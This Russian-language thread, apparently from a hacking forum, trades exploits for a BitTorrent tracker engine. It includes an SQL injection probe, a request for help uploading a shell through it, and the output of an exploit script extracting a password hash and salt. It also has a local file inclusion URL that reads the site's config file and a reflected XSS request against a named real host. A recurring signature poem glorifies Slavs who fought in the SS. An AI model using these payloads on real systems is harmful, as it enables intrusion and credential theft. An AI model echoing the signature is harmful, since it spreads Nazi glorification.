 |
|
20.02.2010, 14:45
|
|
Познающий
Регистрация: 20.12.2009
Сообщений: 33
С нами:
8627425
Репутация:
40
|
|
votesview.php?requestid=-99'
А вообще помогите через неё шелл залить/прочитать файл...
votesview.php есть в YSE немного старее чем с СВН, да и в tbsource дефульт есть |
|
|
21.02.2010, 02:35
|
|
Новичок
Регистрация: 20.02.2010
Сообщений: 3
С нами:
8537867
Репутация:
0
|
|
Trying to get your cookies... [DONE]
Trying to get passhash: 00000000000000000000000000000000 [DONE]
Trying to get salt: 11111111111111111111 [DONE]
Я не понял чо passhash 0000000.... и salt 111111111... где проблема ?
Последний раз редактировалось HAXTA4OK; 21.02.2010 в 08:14..
|
|
|
|
21.02.2010, 08:14
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
Сообщение от xoren
Trying to get your cookies... [DONE]
Trying to get passhash: 00000000000000000000000000000000 [DONE]
Trying to get salt: 11111111111111111111 [DONE]
Я не понял чо passhash 0000000.... и salt 111111111... где проблема ?
не правильный id/ пропатченная версия двига
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
21.02.2010, 22:05
|
|
Новичок
Регистрация: 20.02.2010
Сообщений: 3
С нами:
8537867
Репутация:
0
|
|
HAXTA4OK, понятно... :S
|
|
|
|
21.10.2012, 19:42
|
|
Постоянный
Регистрация: 10.06.2011
Сообщений: 939
С нами:
7854806
Репутация:
173
|
|
Восстанавливаем забытую тему =)
Уязвимость скрипта: modal_mailbox.php (чат)
Тип: Локальный Инклуд
Уязвимый параметр: ?action
Exploit:http://examle.com/modal_mailbox.php?action=../include/config
Внимание, возможно потребуется регистрация на сайте.
Автор: OxoTnik
|
|
|
|
25.04.2014, 14:21
|
|
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами:
7343606
Репутация:
652
|
|
Небольшой UP
passive XSS (reflected)
Уязвимый сценарий: redirector.php
Exploit:
Сообщение от None
GET /redirector.php?url=%253cscript%253ealert%25281%252 9%253c%25 HTTP/1.1
Host: bit-torrent.kiev.ua
....
|
|
|
|
11.06.2014, 10:31
|
|
Познающий
Регистрация: 22.06.2009
Сообщений: 41
С нами:
8887515
Репутация:
18
|
|
Бу, ну как - новых уязвимостей не появилось?
А-то руки чешутся git push сделать с багфиксами =)
А пока поделюсь:
Как известно, в движке, на данный момент, есть система репутации (Респекты).
Так вот, даже если юзер отключил приём личных сообщений, то:
1. Ему вс1равно будут идти сообщения от системы репутации
2. Система не делает валидацию того за то получает человек респект (т.е можно получить/дать респект/антиреспект за торрент который ты не заливал/которого вообще не сущесвтует )
Пример:
simpaty.php?action=add&good&targetid=1&type=torren t1
Меняем type=torrent1 на torrent12345 и респект всёравно проходит.
Не совсем уязвимость, скорее алгоритмическая недоработка
|
|
|
|
13.06.2014, 04:26
|
|
Участник форума
Регистрация: 05.03.2013
Сообщений: 194
С нами:
6941846
Репутация:
-7
|
|
Отличное отношение к багам. Типичный "разработчик".
|
|
|
|
13.06.2014, 17:19
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
to yuna движок был интересен в свое время, сейчас аналогов много , а делать гит с багфиксами, смысл, если двиг не обновляется
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
17.06.2014, 17:22
|
|
Познающий
Регистрация: 22.06.2009
Сообщений: 41
С нами:
8887515
Репутация:
18
|
|
HAXTA4OK, а что в твоем понимании "обновляется"?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
